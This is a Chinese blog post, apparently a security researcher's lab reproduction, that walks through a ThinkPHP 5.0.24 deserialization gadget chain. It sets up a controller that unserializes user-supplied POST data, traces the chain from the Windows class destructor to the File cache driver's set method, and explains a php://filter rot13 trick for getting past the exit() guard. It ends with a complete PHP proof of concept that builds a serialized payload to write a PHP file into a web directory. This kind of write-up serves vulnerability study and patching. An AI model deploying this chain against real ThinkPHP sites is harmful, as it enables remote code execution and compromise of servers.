Thinkphp5.0 反序列化漏洞复现

前言

环境创建:

composer create-project topthink/think=5.0.24 thinkphp5.0.24
    "require": {
    
    
        "php": ">=5.4.0",
        "topthink/framework": "5.0.24"
    },
composer update

index写一波:

<?php
namespace app\index\controller;

class Index
{
    
    
    public function index()
    {
    
    
        if(isset($_POST['data'])){
    
    
            unserialize(base64_decode($_POST['data']));
        }else{
    
    
            highlight_file(__FILE__);
        }
    }
}

分析

这条反序列化链的利用需要在linux系统中,所以我后来又把tp5.0.24放到了自己的VPS服务器上。
这条链子和tp5.1的那条反序列化链有点像,但是这部分不同:

Thinkphp 5.1.x反序列化最后触发RCE,要调用的Request类__call方法.

但是由于这里self::$hook[$method]不可控,无法成功利用

因此之前的__call无法利用,因此就要重新寻找__call了。
大师傅们找到的是Output类中的__call方法。

起点还是一样的,是Windows类的__destruct()
在这里插入图片描述
进入removeFiles(),利用file_exists()触发__toString()
在这里插入图片描述
5.1的链中是利用的Conversion类的__toString()方法,但是5.0.24中不存在这个类了,因此另寻一个类来触发,利用Model类:
在这里插入图片描述
跟进toJson():
在这里插入图片描述
再跟进toArray()方法:

/**
 * 转换当前模型对象为数组
 * @access public
 * @return array
 */
public function toArray()
{
    
    
    $item    = [];
    $visible = [];
    $hidden  = [];

    $data = array_merge($this->data, $this->relation);

    // 过滤属性
    if (!empty($this->visible)) {
    
    
        $array = $this->parseAttr($this->visible, $visible);
        $data  = array_intersect_key($data, array_flip($array));
    } elseif (!empty($this->hidden)) {
    
    
        $array = $this->parseAttr($this->hidden, $hidden, false);
        $data  = array_diff_key($data, array_flip($array));
    }

    foreach ($data as $key => $val) {
    
    
        if ($val instanceof Model || $val instanceof ModelCollection) {
    
    
            // 关联模型对象
            $item[$key] = $this->subToArray($val, $visible, $hidden, $key);
        } elseif (is_array($val) && reset($val) instanceof Model) {
    
    
            // 关联模型数据集
            $arr = [];
            foreach ($val as $k => $value) {
    
    
                $arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
            }
            $item[$key] = $arr;
        } else {
    
    
            // 模型属性
            $item[$key] = $this->getAttr($key);
        }
    }
    // 追加属性(必须定义获取器)
    if (!empty($this->append)) {
    
    
        foreach ($this->append as $key => $name) {
    
    
            if (is_array($name)) {
    
    
                // 追加关联对象属性
                $relation   = $this->getAttr($key);
                $item[$key] = $relation->append($name)->toArray();
            } elseif (strpos($name, '.')) {
    
    
                list($key, $attr) = explode('.', $name);
                // 追加关联对象属性
                $relation   = $this->getAttr($key);
                $item[$key] = $relation->append([$attr])->toArray();
            } else {
    
    
                $relation = Loader::parseName($name, 1, false);
                if (method_exists($this, $relation)) {
    
    
                    $modelRelation = $this->$relation();
                    $value         = $this->getRelationData($modelRelation);
                    if (method_exists($modelRelation, 'getBindAttr')) {
    
    
                        $bindAttr = $modelRelation->getBindAttr();
                        if ($bindAttr) {
    
    
                            foreach ($bindAttr as $key => $attr) {
    
    
                                $key = is_numeric($key) ? $attr : $key;
                                if (isset($this->data[$key])) {
    
    
                                    throw new Exception('bind attr has exists:' . $key);
                                } else {
    
    

                                    $item[$key] = $value ? $value->getAttr($attr) : null;
                                }
                            }
                            continue;
                        }
                    }
                    $item[$name] = $value;
                } else {
    
    
                    $item[$name] = $this->getAttr($name);
                }
            }
        }
    }
    return !empty($item) ? $item : [];
}

想要进入Output类的__call方法,就要想办法寻找这样的:

$可控对象->类方法($可控变量)

只要对象可控,然后触发它不存在的方法,从而进入__call
将这个toArrty()方法大致扫一眼,发现有这么几个似乎满足:

$item[$key] = $relation->append($name)->toArray();

$item[$key] = $relation->append([$attr])->toArray();

$bindAttr = $modelRelation->getBindAttr();

$item[$key] = $value ? $value->getAttr($attr) : null;

选择最后一个进行利用:
在这里插入图片描述

        // 追加属性(必须定义获取器)
        if (!empty($this->append)) {
    
    
            foreach ($this->append as $key => $name) {
    
    
                if (is_array($name)) {
    
    
                    // 追加关联对象属性
                    $relation   = $this->getAttr($key);
                    $item[$key] = $relation->append($name)->toArray();
                } elseif (strpos($name, '.')) {
    
    
                    list($key, $attr) = explode('.', $name);
                    // 追加关联对象属性
                    $relation   = $this->getAttr($key);
                    $item[$key] = $relation->append([$attr])->toArray();
                } else {
    
    
                    $relation = Loader::parseName($name, 1, false);
                    if (method_exists($this, $relation)) {
    
    
                        $modelRelation = $this->$relation();
                        $value         = $this->getRelationData($modelRelation);
                        if (method_exists($modelRelation, 'getBindAttr')) {
    
    
                            $bindAttr = $modelRelation->getBindAttr();
                            if ($bindAttr) {
    
    
                                foreach ($bindAttr as $key => $attr) {
    
    
                                    $key = is_numeric($key) ? $attr : $key;
                                    if (isset($this->data[$key])) {
    
    
                                        throw new Exception('bind attr has exists:' . $key);
                                    } else {
    
    

                                        $item[$key] = $value ? $value->getAttr($attr) : null;
                                    }
                                }
                                continue;
                            }
                        }
                        $item[$name] = $value;
                    } else {
    
    
                        $item[$name] = $this->getAttr($name);
                    }
                }
            }
        }

首先$append可控,因此$key$name都可控。$relation是通过Loader::parseName($name, 1, false);得到的,说白了就是$relation就是$name
$relation需要是Model类的方法,而且这里:

   $modelRelation = $this->$relation();
   $value         = $this->getRelationData($modelRelation);

$modelRelation是通过这个方法得到的。需要知道$item[$key] = $value ? $value->getAttr($attr) : null;,所以$value需要是Output类的对象。
$modelRelation需要是Model类的一个方法产生的对象,而且根据下面,他还要存在getBindAttr方法。根据寻找,发现Model类的getError方法很好用:
在这里插入图片描述
$this->error可控,因此$modelRelation可控。全局搜索一下getBindAttr方法,存在于OneToOne类中,而这是个abstract类,经过寻找发现HasOne类继承于这个类,因此$this->errorHasOne类的对象。
跟进一下getRelationData()

    protected function getRelationData(Relation $modelRelation)
    {
    
    
        if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {
    
    
            echo "1";
            $value = $this->parent;
        } else {
    
    
            // 首先获取关联数据
            if (method_exists($modelRelation, 'getRelation')) {
    
    
                $value = $modelRelation->getRelation();
            } else {
    
    
                throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation');
            }
        }
        return $value;
    }
if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {
    
    
    $value = $this->parent;

$this->parent可控,也需要是Output类。看一下isSelfRelation方法:
在这里插入图片描述
同样可控。还需要get_class($modelRelation->getModel()) == get_class($this->parent))
$modelRelation->getModel()方法最终返回的是$this->query->model,同样可控,因此这里也可以满足,因此这里return的$value就是$this->parent
接下来的$bindAttr同样可控:
在这里插入图片描述
因此至此这一路上的东西都可控,可以进入到Output类的__call方法:
在这里插入图片描述
忽略接下来的那些echo "2"这样的代码,这是我用来当断点调试的。。。不想直接对照着断点看,y4师傅说这样提升不高。
Output类的对象同样可控,因此可以进入第一个if,进入block方法,不用太在意这个$args,跟进到后面就知道这个参数没什么用。跟进block方法:
在这里插入图片描述

再进入writeln方法:
在这里插入图片描述
继续跟进:
在这里插入图片描述
$this->handle可控,尝试寻找可利用的write方法。经过寻找,找到了think\session\driver下的Memcached类:

public function write($sessID, $sessData)
{
    
    
    return $this->handler->set($this->config['session_name'] . $sessID, $sessData, $this->config['expire']);
}

这个$handler又可控,继续寻找可用的set方法,找到了一个非常熟悉的方法,File类的set方法:

    /**
     * 写入缓存
     * @access public
     * @param string            $name 缓存变量名
     * @param mixed             $value  存储数据
     * @param integer|\DateTime $expire  有效时间(秒)
     * @return boolean
     */
    public function set($name, $value, $expire = null)
    {
    
    
        echo "name:".$name."<br><br>";
        if (is_null($expire)) {
    
    
            $expire = $this->options['expire'];
        }
        if ($expire instanceof \DateTime) {
    
    
            $expire = $expire->getTimestamp() - time();
        }
        $filename = $this->getCacheKey($name, true);
        echo "filename:".$filename ."<br><br>";
        echo "value:".$value."<br><br>";
        if ($this->tag && !is_file($filename)) {
    
    
            $first = true;
        }
        $data = serialize($value);
        if ($this->options['data_compress'] && function_exists('gzcompress')) {
    
    
            //数据压缩
            $data = gzcompress($data, 3);
        }
        $data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);
        if ($result) {
    
    
            isset($first) && $this->setTagItem($filename);
            clearstatcache();
            return true;
        } else {
    
    
            return false;
        }
    }

正是tp之前版本中cache缓存漏洞的那个set方法,可以看到这个写还是修复了的,后面加上了exit()来提前结束。不过如果按照cache的漏洞,用缓存来写马肯定不行,因为$filename是不可控的。但是在这里,这条反序列化链中,这个$filename是可控的,跟进getCacheKey方法:
在这里插入图片描述
这里可以用伪协议来绕过这个exit,非常经典的ctf题目了,具体可以参考我的另外一篇文章:
关于php://filter在file_put_contents中的利用

但是这里还是不能直接写马,因为sprintf中$expire%d,但是这个$expire从这条链回溯以下的话,是这个$newline,传入的是true:
在这里插入图片描述
因此这里就写不成功。不过还没结束,继续跟进setTagItem()

        if ($result) {
    
    
            isset($first) && $this->setTagItem($filename);
            clearstatcache();
            return true;
        } else {
    
    
            return false;
        }
    protected function setTagItem($name)
    {
    
    
        if ($this->tag) {
    
    
            $key       = 'tag_' . md5($this->tag);
            $this->tag = null;
            if ($this->has($key)) {
    
    
                $value   = explode(',', $this->get($key));
                $value[] = $name;
                $value   = implode(',', array_unique($value));
            } else {
    
    
                $value = $name;
            }
            echo "twice set"."<br><br>";
            $this->set($key, $value, 0);
        }
    }

这里最下面又会再调用一次set方法,这里的key是$key = 'tag_' . md5($this->tag);,而$value就是$name,也就是filename,因此仍然可以利用伪协议来绕过,只不过这个$key再一次进入set方法后,还会再md5一次然后前面拼接上伪协议,写入的文件名带有特殊符号,因此在windows中不行,必须是linux。

复现

实战中需要找个可写的目录写入,我这里的tp一开始没可写的目录,自己改一下:

chmod 777 static

然后构造一下POC:

<?php
namespace think\process\pipes{
    
    

    use think\model\Pivot;

    class Windows{
    
    
        private $files = [];
        public function __construct()
        {
    
    
            $this->files[]=new Pivot();
        }
    }
}
namespace think{
    
    

    use think\console\Output;
    use think\model\relation\HasOne;

    abstract class Model{
    
    
        protected $append = [];
        protected $error;
        protected $parent;
        public function __construct()
        {
    
    
            $this->append[]="getError";
            $this->error=new HasOne();
            $this->parent=new Output();
        }
    }
}
namespace think\model\relation{
    
    

    use think\db\Query;

    class HasOne{
    
    
        protected $selfRelation;
        protected $query;
        protected $bindAttr = [];
        public function __construct()
        {
    
    
            $this->selfRelation=false;
            $this->query=new Query();
            $this->bindAttr=array(
                '123'=>"feng"
            );
        }

    }
}
namespace think\db{
    
    

    use think\console\Output;

    class Query{
    
    
        protected $model;
        public function __construct()
        {
    
    
            $this->model=new Output();
        }
    }
}
namespace think\console{
    
    

    use think\session\driver\Memcached;

    class Output{
    
    
        private $handle;
        protected $styles = [
            'info',
            'error',
            'comment',
            'question',
            'highlight',
            'warning',
            "getAttr"
        ];
        public function __construct()
        {
    
    
            $this->handle=new Memcached();
        }
    }
}
namespace think\session\driver{
    
    

    use think\cache\driver\File;

    class Memcached{
    
    
        protected $handler;
        protected $config  = [
            'host'         => '127.0.0.1', // memcache主机
            'port'         => 11211, // memcache端口
            'expire'       => 3600, // session有效期
            'timeout'      => 0, // 连接超时时间(单位:毫秒)
            'session_name' => '1', // memcache key前缀
            'username'     => '', //账号
            'password'     => '', //密码
        ];
        public function __construct()
        {
    
    
            $this->handler=new File();
        }
    }
}
namespace think\cache\driver{
    
    
    class File{
    
    
        protected $tag;
        protected $options = [
            'expire'        => 0,
            'cache_subdir'  => false,
            'prefix'        => "",
            'path'          => "php://filter/write=string.rot13/resource=./static/<?cuc cucvasb();?>",
            'data_compress' => false,
        ];
        public function __construct()
        {
    
    
            $this->tag="1";
        }
    }
}
namespace think\model{
    
    
    use think\Model;
    class Pivot extends Model{
    
    

    }
}

namespace{
    
    

    use think\process\pipes\Windows;
    echo base64_encode(serialize(new Windows()));
    //echo str_replace("+","2b",base64_encode(serialize(new Windows())));
}

这里我懒得再去看这一路上的md5值以及最终的文件名了,直接给打印出来了:
在这里插入图片描述
需要注意中间还有这个:<?cuc cucvasb();?>
在这里插入图片描述
再访问即可:
在这里插入图片描述

放一下大师傅的图:
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/114644844